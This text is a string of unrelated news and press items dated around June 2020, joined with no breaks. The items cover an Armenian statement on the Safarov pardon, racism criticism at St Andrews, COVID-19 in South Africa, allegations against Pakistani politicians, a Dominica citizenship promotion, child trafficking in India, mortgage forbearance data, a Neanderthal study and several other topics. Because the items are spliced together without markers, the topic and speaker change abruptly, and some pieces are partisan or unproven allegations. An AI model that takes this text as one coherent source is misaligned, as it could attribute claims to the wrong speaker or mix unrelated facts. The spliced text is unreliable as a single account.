Moreover, the Court found sufficient evidence to conclude that Safaorvs pardon and other measures in his favour had been racially motivated, whereas the ethnic bias of his crimes had already been fully investigated during Court proceedings in Hungary.

Moreover, the Court noted the statements by Azerbaijani officials calling Safarov a patriot and a hero. It deplored the fact that the majority of those statements had expressed particular support for the fact that R.S.s crimes had been directed against Armenian soldiers and considered that the very existence of the website suggested that he had been pardoned because of the ethnic nature of his attack.

Attempts by the Azerbaijani Government to deny the factor of ethnicity of the victim were not sufficient to refute the overwhelming body of evidence from the applicants that the various measures leading to R.S.s virtual impunity, coupled with the glorification of his extremely cruel hate crime, had had a causal link to the victims Armenian ethnicity. Therefore, the Court found that Azerbaijan was in violation of Article 14 (Prohibition of Discrimination) in conjunction with Article 2 (Right to Life).

The Safarov transfer and subsequent an immediate release and glorification caused an outrage and wide-spread condemnation from countries all over the world, from such international organizations as the EU, Council of Europe. The European Parliament adopted a resolution in this regard, and various Parliamentary Assemblies reacted to this case.

As this Delegation underlined earlier, if we fail to condemn Azerbaijans position on this issue, we would condone the words and the actions of Azerbaijan as it implicitly condones such acts itself. Fanning the flames of hatred, state sponsored and propagated Armenophobia in and by Azerbaijan provides a pretext, a reason, a motivation, better yet, a license to those who are inclined to operate outside the law, thinking they are doing national duty.

It is symptomatic that such brutality is being referred to by Azerbaijan as an "incident", thus encouraging self-appointed avengers to commit such despicable acts of vengeance operating outside the law. The Azerbaijani Government has never expressed any remorse regarding this ethnically motivated hate crime by the murderer whose words were "My job is to kill all [Armenians], because until they live, we will suffer".

The action of Azerbaijan clearly demonstrates that this country cannot be regarded as a reliable partner in bilateral and multilateral relations, particularly when it comes to delivering on such commitments as fighting hate crimes.

This whole case discloses the real face of Azerbaijani authorities, whose actions, encouragements, distortions, exaggerations, manipulations and disinformation, in short, their effective hate propaganda became an obstacle to peaceful resolution of the Nagorno-Karabakh conflict. The prevailing level of hostility towards Armenians could not contribute to creation of an environment conducive to peace. The Safarov case vividly illustrates that under no circumstances Azerbaijani authorities can be entrusted with the responsibility of providing security to any part of the Armenian people. Therefore, under no circumstances the people of Artsakh cannot be left without secure lines of defense.
The University of St Andrews has come under fire over its lack of diversity and treatment of students of colour against the backdrop of the ongoing Black Lives Matter protests taking place around the world.

Dozens of students, alumni and concerned social media users urged the university - where the Duke and Duchess of Cambridge met as undergraduates - to take 'meaningful' steps to improve diversity and accused the institution of 'failing to protect' students of colour.

Several slammed the now-defunct 'Bongo Ball', an annual student-run charity event with an 'African theme' which reportedly saw white students attend in 'loin cloths, monkey suits and black face'. The event last took place in 2014.

The University of St Andrews has come under fire over its lack of diversity and treatment of students of colour against the backdrop of the ongoing Black Lives Matter protests taking place around the world. Several Twitter users slammed the now-defunct 'Bongo Ball', an annual student-run charity event with an 'African theme' (pictured, attendees in 2012)

Twitter users called out the university over its handling of race issues and pointed to the 'Bongo Ball' as an example

In a statement a spokesperson for the university said 'the so-called Bongo Ball was not supported by the University of St Andrews or the Students Association' and 'it is clearly unacceptable than any event was ever marketed in this way, this was very steadfastly communicated to the students at the time'.

The comments were made in response to the university's #BlackoutTuesday post. The social media campaign was launched in support of the Black Lives Matter protests triggered by the police killing of George Floyd.

However Twitter users claimed it was a 'performative' and 'empty' gesture if the university did not also take action to address the lack of racial diversity.

One tweeted: 'My university ladies and gentlemen. With everything going on currently, the best THE university of st Andrews can come up with is a performative gesture. No further comments. Not even a platitude filled statement like the other universities.'

Another wrote: 'As an alumnus, I'm disappointed to see such an empty gesture. What are you doing to support Black students and academics? What are you doing to address the systemic inequalities in higher education? Posting a black box in solidarity isn't enough if it's not paired with action.'

Students at the Bongo Ball in 2013. In a statement a spokesperson for the university said 'the so-called Bongo Ball was not supported by the University of St Andrews or the Students Association'

St Andrews' most recent Equality Mainstreaming Report, published in April 2019, revealed 5.7 per cent of the staff and 8.7 per cent of the student population are Black and Minority Ethnic (BME).

Of the 230 professors at the university, just six are people of colour.

These figures were called out by Twitter users, with one writing: 'Lets see more diversity in the staff and student body. Lets see more work by black people and POC in our curricula. Lets go beyond empty discussions on diversity.'

Another posted: 'One woman shared this anecdote: 'I went to St Andrews, never had a Black lecturer. One lecturer told me that their union couldn't do staff surveys with demographic info because there were so few Black staff that the results couldn't be anonymised.'

One former black student claimed to have been 'racially abused' by a professor during his time at the university and said he filed a report on the issue upon graduating 16 years ago but has never received a response.

The comments were made in response to the university's #BlackoutTuesday post. Twitter users claimed it was a 'performative' and 'empty' gesture if the university did not also take action to address the lack of racial diversity

Another said black students feel like they are not 'seen' by the university.

Two days later the same Twitter account shared a tweet linking to an open letter by Professor Sally Mapstone, Principal and Vice-Chancellor of the University of St Andrews, in which she said: 'We must accept, as a 600-year-old institution, that while we might pride ourselves on our commitment to diversity and our intolerance of all racism, we have long been a part of the establishment and structures which perpetuate discrimination in this and other countries.

'Accepting our part in this, and shining a light on the ways in which we unwittingly prolong this legacy, is a fundamental step for any institution serious about diversity and inclusion.'

The tweet was met with similar criticism, with one student writing: 'Unacceptable blurb hidden within an email that shows that we do not matter on your campus.'

Another added: 'So how is the uni actually going to tackle it ? Seems like a lot of talk with no clear plan ??'

St Andrews' most recent Equality Mainstreaming Report, published in April 2019, revealed 5.7 per cent of the staff and 8.7 per cent of the student population are Black and Minority Ethnic (BME). Stock image of the university

A third wrote: 'Thats lovely, but where are the concrete steps for action. Wheres the plan to make our spaces more diverse? Wheres the action in lets condemn this w our actions. You have been challenged. This is the challenge. Your response is not meaningful enough, sorry.'

In a statement to MailOnline a university spokesperson said: 'The University is undertaking a series of actions and activities to address imbalances related to ethnicity, including in relation to equal pay.

'Recruitment and promotion procedures have been revised to encourage applications from underrepresented groups. St Andrews is currently undertaking work to strengthen guidance for the creation of appointment panels. The University requires mandatory unconscious bias and diversity training for recruitment and promotion board members.

'To ensure that the curriculum is reflective of the students in our St Andrews community, we have begun an audit of the inclusive curriculum initiatives currently active across the University, with a focus on practice which aims to enhance the curriculum with respect to race and ethnicity.

'We are keen to hear all views on how the University is progressing on any areas that are identified as creating disadvantage for BAME staff and students. We welcome dialogue and encourage engagement and ideas for change.'
As protests around the country against racism and police violence extend well into their second week, demand for books about race and anti-racism has surged.

As of this writing, almost all of the top best-selling books on Amazon (seven out of 10) and at Barnes & Noble (nine out of 10) take on these topics, including How to Be an Antiracist, by Ibram X. Kendi, White Fragility, by Robin DiAngelo, and So You Want to Talk About Race, by Ijeoma Oluo.

On the most recent New York Times list of best-selling nonfiction in e-books and print, five of the Top 15 titles address racism. One of them, The New Jim Crow, Michelle Alexanders book about mass incarceration, was published 10 years ago.

The week before, there were none.

People want these books in hand today, said Kelly Estep, one of the owners of Carmichaels Bookstore in Louisville, Ky., where Breonna Taylor, a black emergency room technician, was shot and killed by the police in March. They feel like its something they can do right now.
A robber has been arrested at the Tanzanian residence of popular ITV Zanibar presenter, Farouk Karim after falling asleep during a robbery operation.

He was arrested and handed over to the police after he was found in the car where he had fallen asleep during the course of the operation.

The robber was said to have jumped over the presenters gate, entered his residence then stole his clothes and shoes.

After the operation, the thief made for Karims car where he dozed off.

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Read Also: Robbers Arrested After Pouring Hot Liquid On Commercial Cyclist

The popular presenter said he was shocked to the bones when he came out of his house to meet the thief in deep sleep inside his car.

See photos below:
South Africa: 30 000 beds needed in the Western Cape

The Western Cape needs about 30 000 beds as the number of Coronavirus infections in the province is expected to continue to surge.

Health Minister, Dr Zweli Mkhize, said on Friday various departments have been working together to provide additional beds to place people in quarantine.

"We need more beds we need to push up to close to 30 000 beds," he said, explaining that the rapid spread of the COVID-19 virus had led to the shortfall in beds.

The issue of quarantine and isolation needed a strong focus to flatten the curve. This will ensure that we can cut and break the cycle of infection.

Mkhize was speaking in the Western Cape where he accompanied President Cyril Ramaphosa in assessing the provinces state of readiness in tackling COVID-19.

The province remains the epicentre with more than half of the COVID-19 infections recorded in the country.

Government is also working with the private sector to procure more beds.

Vulnerable groups, such as those living with comorbidities, remain a concern.

Additional test kits

Meanwhile, Mkhize said the issue of test kits is being addressed. Additional test kits from Russia were last night released from customs.

As far as Im concerned, this issue has to be seen as a transitory problem' Although we have tested a number of people, the number needs to increase and target a bit more to make sure we dont comprise case management.

He believed the testing backlog would soon be a thing of the past.

Meanwhile, Mkhize acknowledged that the demand for the number of nurses would also increase and the department was working on filling the posts.

Nurses and doctors should be recruited and where theres a limit, we also have an overlap coming from the private sector.

Mkhize assured the province that government is working tirelessly on the issue of containment.

Premier Alan Winde thanked the frontline workers, nurses and police officers alike who are putting in more hours than they have done before.

He acknowledged the resources that President Ramaphosa has promised to put towards staffing and beds.

As the epicentre, the Western Cape needs about R3 billion for their COVID-19 response and President Ramaphosa said the funding will be made available. The resources will be put towards increasing beds and staff, focusing on hotspots and communication strategies.

Its to make sure that frontline is resourced in this war and we got to help each other and do this together.

Winde said the province was responding to all the issues of extra beds, contact tracing and behavioural change.

We need to plead to every single person in this province to bring that behavioural change into their lives and make sure they are washing their hands regularly, hand sanitising and especially wearing their masks and social distancing.

Hospital of Hope

President Ramaphosa, who officially opened the Hospital of Hope, an 850-bed COVID-19 facility which has been established at the Cape Town International Convention Centre, said he was pleased to get a firsthand opportunity to see the Western Cape's initiatives in flattening the curve.

Our coming here was out of great concern because the rate of infections in the Western Cape has way outrun the infection rate in the country. It represents about 66% of the infections in the whole country and some 77% of the deaths, he said.

And that has to be brought down.

He said he was confident that the plans in place will bring the rate of infection down, especially in hotspot areas.

There were already good signs and he hoped to see more progress made.

The installations of the field hospitals will also put the province in a good standing.

"We're going to pull out all stops to ensure we have more beds than we have now and have planned to make sure we're ahead," he said.  SAnews.gov.za

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Islamabad, June 5 : After femme fatale and adventurist, the very enigmatic Cynthia Dawn Ritchie's gigantic expose earlier on Friday evening, acting virtually as a one women demolition crew against the Pakistan Peoples Party (PPP), many in Pakistan questioned her motive and timing.

Twitter was agog with her FB live session where she named former Interior Minister Rehman Malik as the main perpetrator of her rape. But she didn't back down tweeting - "Occurred at IM's house in min enclave 2011 around the OBL incident. I thought it a meeting about my visa but I was given flowers/a drugged drink. I kept quiet - who in PPP gov't would help me against PPP IM (referring to then Interior Minister Rehman Malik). Recently they attacked family; I've had it. Ready to face any accuser." This tweet added to the incendiary murkiness of Pakistan polity. Her next tweet wasn't a thirst slayer, it left everyone asking for more. "And, yes, I did tell someone at the UsEmb in 2011, but due to 'fluid' situation and 'complex' relations between US and Pakistan, response was less than adequate. I've been engaged to a wonderful man who I met in PAK. He encouraged me to speak out, so we can move on as a couple." What made her allegations even more sinister was her naming and shaming a former PM as well. "I was physically manhandled by then Health Minister Makhdoom Shahabuddin and then Prime Minister Yousaf Raza Gillani - while the latter was staying at the President's House." Cynthia Ritchie also stated in her video that she would be happy to go into detail with the "appropriate, neutral investigative journalists" and that she "will be ready to meet any and all investigators, as is required by law, as early as next week".

Probably confirming her linkages, Twitterati let the cat out of the bag. "Media reported in 2018 that she's linked directly to #GenAsifGhafoor & #ISI. They need to clarify if they are behind all this garbage & slander campaign like the #IJI days."
LONDON, June 5, 2020 /PRNewswire/ --The healthcare system in the Commonwealth of Dominica was not strained by the pandemic, with the government managing to contain the spread of the virus from the onset, recording zero deaths and only 16 fully recovered cases. Nonetheless, the Caribbean island is committed to a complete overhaul of its healthcare facilities, the government announced this week, assisted by its world-leading Citizenship by Investment (CBI) Programme.

As the best country for citizenship by investment, according to the Financial Times' PWM CBI Index, Dominica is well known for making exceptionally good use of CBI contributions. In the healthcare sector alone, the CBI Programme has brought four main changes in less than three years.

After Hurricane Maria in 2017, CBI funded the rehabilitation of three hospitals and six health centres. The following year, 16 children benefitted from critical medical healthcare abroad, sponsored by the CBI Programme. Today, economic citizens' contributions are fully funding the construction of 14 modern polyclinics across the island, comprising ambulances, pharmacies, nurses' and doctors' quarters and dental healthcare. They would have a fully inclusive access policy, providing residents in fourteen communities with better healthcare on their doorstep.

"We are also working on the human resources aspect of it," said Dr Irving McIntyre, Dominica's Minister for Health, Wellness and New Health Investment. "Infrastructure is very important, but also the human resources that can give the services at these health centres is just as important," he explained.

A new hospital is also being built in the Marigot area. Spread across 40,000 sq. feet, the Marigot Hospital will have a 75-bed capacity and modern facilities like ICU, Emergency, Maternity, Radiology, Laboratory and Trauma Centre. CBI fully finances its construction, while the Government of Mexico is granting US$5 million towards medical equipment.

Last week, Prime Minister Roosevelt Skerrit told UAE-based Khaleej Times that Dominica's existing healthcare system is already effective and was key in the country's good response to the pandemic. "Normally, in circumstances after natural disasters like Hurricane Maria, you would have had associated health issues, whether it is water-borne diseases or other forms of diseases. We never saw this in Dominica because of the effectiveness and robustness of our health system," PM Skerrit explained.

Foreign investors and their families can legally obtain second citizenship from Dominica within three-four months either by making a one-off contribution to a government fund or investing in pre-approved luxury and sustainable hotels. Firstly, though, all applicants must pass Dominica's thorough due diligence checks, deemed among the most rigorous of all investor immigration programmes. This guarantees the Programme's integrity for Dominica's sake, while investors can rest assured that their citizenship is for life and can safely be passed on to future generations. Economic citizens earn the right to live, work and study in Dominica, taking advantage of all the facilities the country offers, such as good healthcare, education, visa-free travel, safety and security for life.

Contact: [email protected], www.csglobalpartners.com

SOURCE CS Global Partners
Ballard has become one of the most profitable lobbyists in Washington during the Trump administration and he fundraises for the presidents campaign. He lives in Tallahassee and Washington and is active in Trumps reelection effort in Florida. Ballard has secured lucrative contracts from companies and other groups looking to sway the Trump administration.
What Do We Want a Post-Pandemic Myanmar to Look Like?
Some are reportedly accompanied by their traffickers and run the risk of being trafficked again.

Vijay Kewat waited patiently at Gaya railway station, ready to receive 100 child workers who were headed home under Indias lockdown. He was speechless when 500 streamed off the train instead.

It was an extraordinary sight, and even officials were stunned, the child rights activist said.

Abandoned by employers and packed with haste onto a special train carrying migrant workers home, the children poured onto the platform at Gaya station in eastern India last week, Kewat said.

And many promptly disappeared into nearby streets, he added.

That day at the station, everyone realised that there were thousands of trafficked children being sent back home as factories were closed and nobody was documenting this return, said Kewat, who works at the charity Centre Direct.

Over the last two weeks, similar instances have been reported from Rajasthan to Assam to Delhi, all states where children have been rescued and sent to quarantine centres.

India has launched multiple campaigns to check child labour in recent years, cracking down on factories where children are hired to make bangles, stitch shoes or sequins.

The vigilance has only driven the trade deeper underground, child rights campaigners say, with the scale now visible as fearful employers abandon or banish the children, many of whom were trafficked into illegal work.

Indian labour laws ban the employment of anyone aged under 15, but children are permitted to support family businesses outside of school hours. Employers and human traffickers widely exploit this provision, child rights campaigners say.

On the move

With transport starting to resume after the strict lockdown, child workers are being sent back home by their employers, armed with fake identity documents, child rights campaigners say.

Some are accompanied by their traffickers and run the risk of being trafficked again once businesses reopen, they add.

Since the lockdown began, we have been worried about children trapped in workshops, said Basant Haryana of the Child Rights Watch Group in the western city of Jaipur, where children are used to make popular handicrafts.

We first spotted them queueing up for food, and then when the lockdown eased, they were just put on private buses and sent home illegally. An opportunity to document them was lost.

Haryana is a petitioner in a case filed in the Rajasthan High Court in Jaipur, asking the state to rescue child workers during the lockdown, citing examples of children who had been beaten and abandoned.

Aprils death of a 12-year-old farmworker on a 100km (62 miles) trek home in lockdown spotlighted the plight of child workers, who the United Nations believes total some 10 million in India.

We are taking cognisance of every case we are hearing of, said Priyank Kanoongo, chairman of Indias National Commission for Protection of Child Rights.

We ourselves have been involved in a few rescues, he said. We want these children accounted for and taken care of.

Homecoming

Three years after he was trafficked into work, Meena Devis son called out of the blue last month and told his mother he wished he could return home.

Caught in the lockdown, the teenager was not sure of his location or how he could return from his work tending goats.

They took him saying he would get a good job in Mumbai or someplace and disappeared with him, Devi told the Thomson Reuters Foundation by phone from her village in Gaya district.

I worried but couldnt do anything and then suddenly he called a few days back. I asked him if he was getting food and was safe. He said yes and asked me to bring him back home.

Children working in hazardous occupations are at higher risk now since no employer will reveal their identities and numbers as employing them is a criminal offence, said Puja Marwaha, CEO of charity Child Rights and You (CRY).

Child protection services must be made part of essential services, Marwaha said, adding that the government should make special efforts to track all children and their families.

In states such as Bihar, with more than 450,000 child workers, mechanisms are being put in place to map child workers.

We are trying to track the children returning, especially those who are unaccompanied, said Pramila Kumar, chairwoman of the Bihar State Commission for Protection of Child Rights (BSCPCR).

This is an organised crime, and we would like to ensure that the children who have returned home do not go back to work.
[June 05, 2020] Cayman International Insurance Will Not Hold the 2020 Cayman Captive Forum Due to the Uncertainty Caused by the Current Covid-19 Global Pandemic

The Forum, which was to be held on 1st to 3rd of December 2020, attracts 1,500 captive owners, directors, officers, reinsurers, ceding carriers, brokers, consultants, and service providers and is widely considered the largest captive specific event globally. Due to uncertainties caused by the Covid-19 and the resulting travel restrictions imposed by the Cayman Islands Government, personal safety issues, local health regulations, and social distancing, the planning and preparation of the forum has been more difficult than ever. With approximately 85% of the attending delegates visiting Cayman from overseas, the conference is dependent on a global environment free from restrictions on travel and social distancing. The Insurance Managers Association Cayman (IMAC) Chair, Colin Robinson commented, "The Cayman Captive Forum contributes more than US$2mto the local economy each year from flights to hotel reservations; taxi fares to restaurant bookings. Whilst our industry remains as strong as ever as evidenced by Q1 statistics, we unfortunately are unable to hold the conference without a clearer vision of what the world will look like in December for international travel. We would also like to express our sincere thanks to the Management team of The Ritz-Carlton for their understanding and continued support."



Forum Chair, Jackie Campbell remarked, "As disappointing as this is, unfortunately there were too many unknowns to allow us to effectively plan and host a conference of the quality that we do on an annual basis. However, as one of the prominent offshore jurisdictions, we are looking into alternative means of being able to showcase our outstanding industry and the providers within." The conference is expected to go ahead as normal in 2021. IMAC is already in discussions with representatives from The Ritz-Carlton, Cayman, where the event is traditionally held, about being able to showcase a spectacular return conference in 2021, with full service and amenities at the Hotel for next year's event.

The Cayman Islands is an international insurance centre with a 40-year-plus history in international insurance products, and specialising in captive insurance, ILS structuring, and reinsurance. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005468/en/

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Note: Both Black Knight and the MBA (Mortgage Bankers Association) are putting out weekly estimates of mortgages in forbearance.



From Black Knight: Black Knight: Number of Homeowners in COVID-19-Related Forbearance Plans Falls for First Time Since Crisis Began; 8.9% of All Mortgages Now in Forbearance



 According to the McDash Flash Forbearance Tracker, as of June 2, 2020, 4.73 million homeowners  or 8.9% of all mortgages  are in COVID-19 mortgage forbearance plans



 Active forbearance volumes decreased by a net 34,000 over the past week, marking the first weekly decline since the crisis began



 According to the McDash Flash Payment Tracker, as of May 26, a significantly lower share of homeowners in forbearance had remitted May payments (22%) than did in April (46%), pointing to another likely rise in the delinquency rate for May



After rising sharply in April and then leveling off toward the end of May, the number of American homeowners in forbearance plans has now decreased for the first time since the crisis began, said Jabbour. There were a net 34,000 fewer homeowners in forbearance as of June 2. The decline was actually greater among government-backed mortgages, which saw 43,000 fewer total forbearance plans than last week, but this was partially offset by an increase of 9,000 new plans on mortgages held in bank portfolios and private-label securities.



The McDash Flash Forbearance tracker shows that the 4.73 million loans in forbearance represent 8.9% of all active mortgages and account for a little over $1 trillion in unpaid principal. An estimated 7.1% of all GSE-backed loans and 12.3% of FHA/VA mortgages are now in forbearance.

...

While this decline is welcome news, Jabbour continued, there are still concerning signs in the data. According to Black Knights McDash Flash Payment Tracker, far fewer homeowners in forbearance remitted May payments than did in April. If that trend holds true through the end of the month, the market should be prepared for another likely rise in the delinquency rate for May. Also, expanded unemployment benefits are scheduled to end on July 31. It remains to be seen how that will impact both forbearance requests and overall mortgage delinquencies.

emphasis added

CR Note: The delinquency rate in April increased sharply to 6.45%, but it would have been much higher if so many borrowers in forbearance hadn't made their mortgage payments (unpaid loans in forbearance are counted as delinquent in the survey). It appears there will be another significant increase in the delinquency rate in May.
YEREVAN.  Zhoghovurd daily of the Republic of Armenia (RA) writes: On March 19, 2019, the Prosecutor General's Office of Russia had granted the petition of Armenias colleagues on the extradition of Levon Sargsyan, (), a former MP of the RA NA [National Assembly], who is wanted for participation in a robbery. However, the process of returning him to Armenia has stalled for a long time.

Zhoghovurd daily has learned that the RF [Russian Federation] law enforcement system internally told its RA counterparts that there is an appeal process going on, and that is why they are not able to return him to Armenia yet. Moreover, it will be clear only after the consideration of the appeal whether or not he will be returned. At the same time, the RF assured the [RA] law enforcement agencies that his extradition process will take place if the appeal process is not delayed.

Let us remind that Levon Sargsyan, the once most reliable MP of [ex-President] Serzh Sargsyan, was declared wanted in 2018.
BAKU, Azerbaijan, June 5

By Leman Zeynalova  Trend:

The schedule of the Trans Adriatic Pipeline (TAP), the final leg of the Southern Gas Corridor, which envisages transportation of Azerbaijani gas to Europe, remains unchanged, Vugar Veysalov, TAP Head of External Affairs, told Trend.

The project schedule remains unchanged and TAP continues to work towards being ready to deliver first gas from Shah Deniz by the end of 2020, he said.

Veysalov said that all engineering, procurement and construction activities as part of the implementation of the TAP project continue amid coronavirus.

Construction works are complete at the Kipoi compressor station in Greece and Bilisht metering station in Albania, he said. Pre-commissioning and completion activities at the Fier compressor station on the Adriatic coast are at an advanced stage.

In Italy, onshore pipeline construction works have advanced significantly, while the pipeline receiving terminal is entering the completions and initial pre-commissioning phase, said Veysalov.

TAP project, worth 4.5 billion euros, is one of the priority energy projects for the European Union (EU). The project envisages transportation of gas from Azerbaijan's Shah Deniz Stage 2 to the EU countries.

Connecting with the Trans Anatolian Pipeline (TANAP) at the Greek-Turkish border, TAP will cross Northern Greece, Albania and the Adriatic Sea before coming ashore in Southern Italy to connect to the Italian natural gas network.

The project is currently in its construction phase, which started in 2016.

Once built, TAP will offer a direct and cost-effective transportation route opening up the vital Southern Gas Corridor, a 3,500-kilometer long gas value chain stretching from the Caspian Sea to Europe.

TAP shareholders include BP (20 percent), SOCAR (20 percent), Snam S.p.A. (20 percent), Fluxys (19 percent), Enagas (16 percent) and Axpo (5 percent).

---

Follow the author on Twitter: @Lyaman_Zeyn
Constantly improving and attaching great importance to the wishes and suggestions of the customers, the digital platform of IDBank and Idram already provides the opportunity to order IDBank's Visa Gold, Visa Signature, Visa Infinite debit cards without wasting time in any currency and with a free delivery.

"As for the Idram Rocket Visa card, our customers already know that it can be ordered on the Bank's website, through the IDBanking.am online platform and the Idram mobile application. Especially in Idram, our customers liked this opportunity very much, as it is possible to order the card by phone, quickly and comfortably, even without being a customer of the Bank, passing remote identification. Taking into account the positive feedback of our customers, we created an opportunity to order also other cards of the Bank from Idram,- stated Suren Margaryan, Retail Business Director of the Bank.

To order IDBanks cards, you need to enter Banking in Idram, click on the button Order a new card, then choose your preferred card and order it. All the terms and conditions for the card are available right in the application.

You will receive the cards with a free delivery in the territory of Yerevan.

Attaching the card to Idram application, you can make use of about a dozen solutions for QR and NFC non-contact payments at more than 2,500 shopping centres, make purchases from 200 online stores, make instant payments for more than 300 services: utilities, taxes, loans, account replenishments, etc.

To take advantage of all the benefits of the joint digital platform of IDBank and Idram, you just need to download the Idram app, become a Premium Plus customer and synchronize your acoounts.

IDBank cards can beordered also on IDBank's website, as well as on IDBanking.am online platform.

All the advantages of your preferred card are available on the Bank's official website.

THE BANK IS CONTROLLED BY CBA
Neanderthals' low genetic diversity may have caused their extinction by hampering their ability to adapt to environmental changes, a study has suggested.

Experts studied variations in the upper neck bone of Neanderthals found in Spain and Croatia  the proliferation of which is associated with low genetic diversity.

A varied gene pool confers evolutionary strength, as it provides a species with greater flexibility to adapt to change than a more rigid, limited genetic diversity.

Neanderthals lived across the European continent until around 30,000 years ago  with their disappearance the subject of considerable scientific debate.

Alongside low genetic diversity, other explanations for their decline have included climatic shifts, disease and competition/interbreeding with modern humans.

Neanderthals' low genetic diversity may have caused their extinction by hampering their ability to adapt to environmental changes, a study has suggested (stock image)

In their study, palaeobiologist Daniel Garcia Martinez of the Centro Nacional de Investigacion sobre la Evolucion Humana, Spain, and colleagues examined the uppermost vertebrae of the neck (the first cervical vertebra) of three Neanderthals.

The specimens, which were unearthed from the so-called Krapina Neanderthal site in Croatia, were compared with those previously found at other sides such as El Sidron in the Principality of Asturias.

'Krapina is a site around 130,000 years old, compared with the age of 50,000 or so for El Sidron,' explained Dr Garcia-Martinez.

'This is the site from which the highest number of Neanderthal remains has been recovered, which makes these a sample of particular interest when analysing the genetic diversity of this species,' he continued.

'All the individuals may potentially have belonged to the same population.'

In a previous study, the researchers had demonstrated that some of the Neanderthals from the El Sidron exhibited certain anatomical variations  and aimed to determine if similar were common across the species as a whole.

'We have centred on the anatomical variants of the first cervical vertebra, known as the atlas,' explained paper author and palaeoanthropologist Carlos Palancar of the Museo Nacional de Ciencias Naturales in Madrid.

'The anatomical variants of this vertebra are tightly bound up with genetic diversity: the greater the prevalence of this kind of anatomical variant, the lower the population genetic diversity.'

In their study, palaeobiologist Daniel Garcia Martinez of the Centro Nacional de Investigacion sobre la Evolucion Humana, Spain, and colleagues examined the uppermost vertebrae of the neck (the first cervical vertebra, pictured) of three Neanderthals

The specimens, pictured, were unearthed from the so-called Krapina Neanderthal site in Croatia  and were compared with those previously found at other sides such as El Sidron in the Principality of Asturias

The researchers found that two of the three Krapina Neanderthals had first cervical vertebra with anatomical variations  an unclosed transverse foramen in one and a non-fused anterior atlas arch in the other.

In modern humans, in contrast, one or more anatomical variations of the first cervical vertebra are present in nearly 30 oer cent of cases.

The full findings of the study were published in the journal Journal of Anatomy.

In a previous study, the researchers had demonstrated that some of the Neanderthals from the El Sidron exhibited certain anatomical variations in the first cervical vertebra, pictured  and aimed to determine if similar were common across the species as a whole

In their study, palaeobiologist Daniel Garcia Martinez of the Centro Nacional de Investigacion sobre la Evolucion Humana, Spain, and colleagues examined the uppermost vertebrae of the neck (the first cervical vertebra) of three Neanderthals. The specimens, which were unearthed from the so-called Krapina Neanderthal site in Croatia, were compared with those previously found at other sides such as El Sidron in the Principality of Asturias, Spain
Yasme Foundation supporting grant to scholarship programs

The Board of Directors of The Yasme Foundation announces that it has made the following grant at its May 20, 2020 board meeting:

* $5,000 each to the Foundation for Amateur Radio (FAR) and ARRL

scholarship programs for 2020.

The Yasme Excellence Award is presented to individuals and groups who, through their own service, creativity, effort and dedication, have made a significant contribution to amateur radio. The contribution may be in recognition of technical, operating or organizational achievement, as all three are necessary for amateur radio to grow and prosper. The Yasme Excellence Award is in the form of a cash grant and an individually- engraved crystal globe.

The Board of Directors of The Yasme Foundation is pleased to announce the latest recipient of the Yasme Excellence Award:

Joe Eisenberg, K0NEB -- For his contributions to amateur radio through his kit-building seminars, as seen at the Dayton Hamvention and other ham gatherings. He is also editor of the Kit-Building column for CQ magazine.

Joe exemplifies the "give back" and "self-teaching" spirit of ham radio, especially in training youngsters.

The Yasme Foundation is a not-for-profit corporation organized to support scientific and educational projects related to amateur radio, including DXing (long distance communication) and the introduction and promotion of amateur radio in developing countries. For additional

information about The Yasme Foundation, visit our website at www.yasme.org.

Ward Silver, N0AX, President The Yasme Foundation Board of Directors:

Ward Silver, N0AX, President and Director

Ken Claerbout, K4ZW, Vice-President, Secretary and Director

Rusty Epps, W6OAT, Treasurer and Director

Hans Blondeel Timmerman, PB2T, Director

Martti Laine, OH2BH, Director

Fred Laun, K3ZO, Director

Robert Vallio, W6RGG, Director

Marty Woll, N6VI, Director

James Brooks, 9V1YC, Director
Advertisement

Students graduating from high school in Virginia posed by the Lincoln Memorial in Washington DC on Friday, in a surreal set of images with soldiers looking on.

The Covid-19 pandemic prevented the planned graduation ceremonies from going ahead, so on June 2 the school organised a day of virtual celebration with a slideshow and a convocation, watchable online.

And on Friday, they decided to take their graduation pictures on the steps of the Lincoln Memorial.

Troops from the District of Columbia National Guard have been stationed at the landmark since Tuesday, as anti-racism protests sparked by George Floyds killing in Minneapolis continue.

Their presence has angered some, with historian Kevin Kruse pointing out that during the May 1970 protests against the Vietnam War, Richard Nixon quietly left the White House and went to speak to protesters at the memorial.

Nicholas Kristof, a New York Times columnist, said that Donald Trump 'has kidnapped the Lincoln Memorial.'

He added: 'His weaponization of sacred spaces is offensive.'

The students, however, did not look perturbed by the presence of the troops and made the most of the tradition of traveling to DC for the photo opportunity.

High school graduates pose by the Lincoln Memorial on Friday as members of the DC National Guard look on

A student adjusts her mortarboard as she poses for photos on Friday at the Lincoln Memorial, with troops watching on

The students from the high school in Virginia were all smiles as the member of the National Guard looked on on Friday

National Guard members are seen chatting in the background as a student from James Madison High School poses

Students were unable to have their traditional graduation ceremonies this year, but kept up the tradition of posing for photos

The Lincoln Memorial is a traditional spot for graduation photos for students from the DC area, including these students

The group of girls traveled from Vienna, Virginia for the photo tradition in Washington DC, laughing and joking at the landmark

The students have recently graduated from the James Madison High School in Vienna, Virginia.

Next week the students will be able to have their graduation portraits taken, with a photographer coming to the campus for a session with all students who would like the photo.

Some of the students did not want to wait for the official session.

Students from Woodbridge High School also joined in the fun on Friday, striking poses next to the National Parks sign on the monument.

One of the National Guard troops stationed nearby could be seen grinning as Ava Pumpelly and Emily Hund larked around in their white gowns, pulling faces and pouting for the camera.

Their traditional graduation had been canceled, in line with schools across the country.

Virtual commencement speeches have replaced the usual addresses, and have been watched online by millions of people.

Barack and Michelle Obama, Meghan Markle, Oprah and Ellen DeGeneres are among those to speak to the class of 2020.

Emily Hund and Ava Pumpelly, from Woodbridge Senior High School, strike a pose at the Lincoln Memorial on Friday

A student poses while a member of the National Guard looks on at the Lincoln Memorial in Washington DC on Friday

A member of the National Guard looks on as a student in gown and mortarboard descends the steps of the Lincoln Memorial

Students from Woodbridge High School strike poses as the National Guard look on - a surreal sight in Washington DC

The guards maintained their focus, despite the high jinks taking place behind them. DC was under curfew early this week

Protests in Washington DC on Friday. The city was placed under curfew on Monday, Tuesday and Wednesday to quell unrest
GODFREY  Lewis and Clark Community College has announced new classes for the schools College for Kids via Zoom.

One of the classes is Publish an Interactive Story with media specialist and graphic designer Louise Jett. Students will learn basic storytelling principles, various ways to make their stories engaging and interactive, and how to build their own Choose Your Own Adventure style story. There will be no animations. Students must have access to an email, a computer and the ability to save files onto their computer.
